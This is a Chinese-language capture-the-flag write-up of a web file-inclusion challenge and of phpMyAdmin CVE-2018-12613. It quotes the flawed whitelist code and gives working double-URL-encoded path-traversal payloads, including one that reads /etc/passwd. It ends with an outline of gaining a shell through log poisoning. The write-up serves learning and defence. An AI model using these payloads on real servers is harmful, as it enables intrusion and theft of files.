檔案包含
蒻姬我最開始接觸這個 是一道
buuoj的web簽到題

進入靶機,檢視源代碼
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
劃重點
進入這個php源
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
再次劃重點
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看
有思路了
隻要通過這個判斷就會執行file傳遞的參數的檔案,想到可能時任意檔案包含。
通過引入檔案時,引用的檔案名,使用者可控,由于傳入的檔案名沒有經過合理的校驗,或者檢驗被繞過,進而操作了預想之外的檔案,就可能導緻意外的檔案洩露甚至惡意的代碼注入。
- 再看if中的判斷,file參數不為空&&是個字元串&&通過checkFile方法的檢驗。去看checkFIle方法。
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
看,hint.php 在白名單裡!
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
進入hint.php 看到這樣一行提示
flag not here, and flag in ffffllllaaaagggg
再回想前面條件,首先必須存在并且是字元串
(必須使函數傳回為true才能通路檔案)
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
然後判斷參數是否在白名單中;
mb_strpos()的作用是查找字元串在另一個字元串中首次出現的位置,即?在前面字元串中出現的位置
而mb_substr()用以截斷字元串。
然後和白名單比較。
又重複了一次上面的操作。
這個涉及到phpMyAdmin的一個洞CVE-2018-12613,由于PHP會自動urldecode一次,導緻我們送出%253f(?的urlencode的urlencode)的時候自動轉成%3f,滿足if條件,%253f/就會被認為是一個目錄,進而include。就有了下面的轉化
? --> %3f --> %253f
payload: file=hint.php%253f/…/…/…/…/…/…/…/ffffllllaaaagggg
關于cve-2018-12613-PhpMyadmin背景檔案包含
2018年6月19日,phpmyadmin在最新版本修複了一個嚴重級别的漏洞.
https://www.phpmyadmin.net/security/PMASA-2018-4/官方漏洞描述是這樣的
An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially
execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded
within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the
"$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of,
and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login
requirement and runs the vulnerable code without any authentication).
問題在index.php的55~63:
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
這裡對于參數共有5個判斷,判斷通過就可以通過Include包含檔案。
問題出在後兩個上
$target_blacklist = array (
'import.php', 'export.php'
);
以及
Core::checkPageValidity($_REQUEST['target']):
代碼在librariesclassesCore.php的443~476:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
看,這跟上面的代碼幾乎是一個模子裡刻出來的
然後康康驗證的白名單whitelist
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
之後phpMyAdmin的開發團隊考慮到了target後面加參數的情況,通過字元串分割将問号的前面部分取出,繼續比對白名單,然後經過一遍urldecode後再重複動作。
得到payload
target=db_datadict.php%253f/../../../../../../../../etc/passwd
此處再次分析胡扯檔案包含漏洞的具體産生原因
- 程式員一般會把重複使用的函數寫到單個檔案中,需要使用某個函數時直接調用此檔案,而無需再次編寫,檔案調用的過程一般被稱為檔案包含。
- 他們希望代碼更靈活,是以将被包含的檔案設定為變量,用來進行動态調用,
- 但正是由于這種靈活性,進而導緻用戶端可以調用一個惡意檔案,造成檔案包含漏洞。
- 幾乎所有腳本語言都會提供檔案包含的功能,但檔案包含漏洞在PHP Web Application中居多而在JSP、ASP、程式中卻非常少,甚至沒有,這是本身語言設計的弊端(猜測
Getshell
- 上傳圖檔GETshell
- 讀取檔案,讀取php檔案
- 包含日志檔案擷取webshell
-
首先找到檔案存放位置
有權限讀取apache配置檔案或是/etc/init.d/httpd
預設位置/var/log/httpd/access_log
-
讓日志檔案插入php代碼
發送url請求時後插入php代碼,一般使用burp suite抓包修改
curl發包
插入到get請求,或是user-agent部分
- 包含日志檔案(必須要權限包含)
舉個栗子
if (isset($_GET[page])) {
include $_GET[page];
} else {
include "hint.PHP";
}
其中$_GET[page]使使用者可以控制變量。如果沒有嚴格的過濾就導緻漏洞的出現
代碼審計
包含檔案的函數
- include()
- include_once()
- require()
- require_once()
參考連結
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613